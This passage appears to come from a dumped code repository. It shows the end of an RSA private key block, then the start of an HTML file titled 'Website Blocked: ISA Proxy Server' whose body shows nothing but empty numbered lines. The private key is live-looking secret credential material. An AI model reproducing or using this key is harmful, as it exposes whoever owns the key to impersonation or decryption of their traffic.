8 | 1RLvqoeamlcFsQ+QzyRkxzNYEimF1rp4rXiYJuuOmtULleogm+dpQsA9klaQyEwY
9 | kowTqG3ZO8kTFwIr9nOqiXENDX3FOGnchwwfaOz0XlNhncFm3e7MKA25T4UeI02U
10 | YBPS75NspHb3ltsVnqhYSYyv3w/Ml/mDz+D76dRgT6seLEOTkKwZj7icBR6GNO1R
11 | FLbffJNE6ZcXI0O892CTVUB4d3egcpSDuaAq3f/UoRB3xH7MlnEPfxE3y34wcp8i
12 | erqm/8uVeBOnQMG9FVGXBJXbjSjnWS27sj/vGm+0rc8c925Ed1QdIM4Cvk6rMOHQ
13 | IGkDnvECgYEA4e3B6wFtONysLhkG6Wf9lDHog35vE/Ymc695gwksK07brxPF1NRS
14 | nNr3G918q+CE/0tBHqyl1i8SQ/f3Ejo7eLsfpAGwR9kbD9hw2ViYvEio9dAIMVTL
15 | LzJoSDLwcPCtEOpasl0xzyXrTBzWuNYTlfvGkyd2mutynORRIZPhgHkCgYEA00Q9
16 | cHBkoBOIHF8XHV3pm0qfwuE13BjKSwKIrNyKssGf8sY6bFGhLSpTLjWEMN/7B+S1
17 | 5IC0apiGjHNK6Z51kjKhEmSzCg8rXyULOalsyo2hNsMA+Lt1g72zJIDIT/+YeKAf
18 | s85G6VgMtNLozNjx7C1eMugECJ+rrpRVpIe1kJcCgYAr+I0cQtvSDEjKc/5/YMje
19 | ldQN+4Z82RRkwYshsKBTEXb6HRwMrwIhGxCq8LF59imMUkYrRSjFhcXFSrZgasr2
20 | VVz0G4wGf7+flt1nv7GCO5X+uW1OxJUC64mWO6vGH2FfgG0Ed9Tg3x1rY9V6hdes
21 | AiOEslKIFjjpRhpwMYra6QKBgQDLFO/SY9f2oI/YZff8PMhQhL1qQb7aYeIjlL35
22 | HM8e4k10u+RxN06t8d+frcXyjXvrrIjErIvBY/kCjdlXFQGDlbOL0MziQI66mQtf
23 | VGPFmbt8vpryfpCKIRJRZpInhFT2r0WKPCGiMQeV0qACOhDjrQC+ApXODF6mJOTm
24 | kaWQ5QKBgHE0pD2GAZwqlvKCM5YmBvDpebaBNwpvoY22e2jzyuQF6cmw85eAtp35
25 | f92PeuiYyaXuLgL2BR4HSYSjwggxh31JJnRccIxSamATrGOiWnIttDsCB5/WibOp
26 | MKuFj26d01imFixufclvZfJxbAvVy4H9hmyjgtycNY+Gp5/CLgDC
27 | -----END RSA PRIVATE KEY-----
28 |
--------------------------------------------------------------------------------
/files/AccessDenied.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
Website Blocked: ISA Proxy Server
4 |
14 |
15 |
16 |
30 |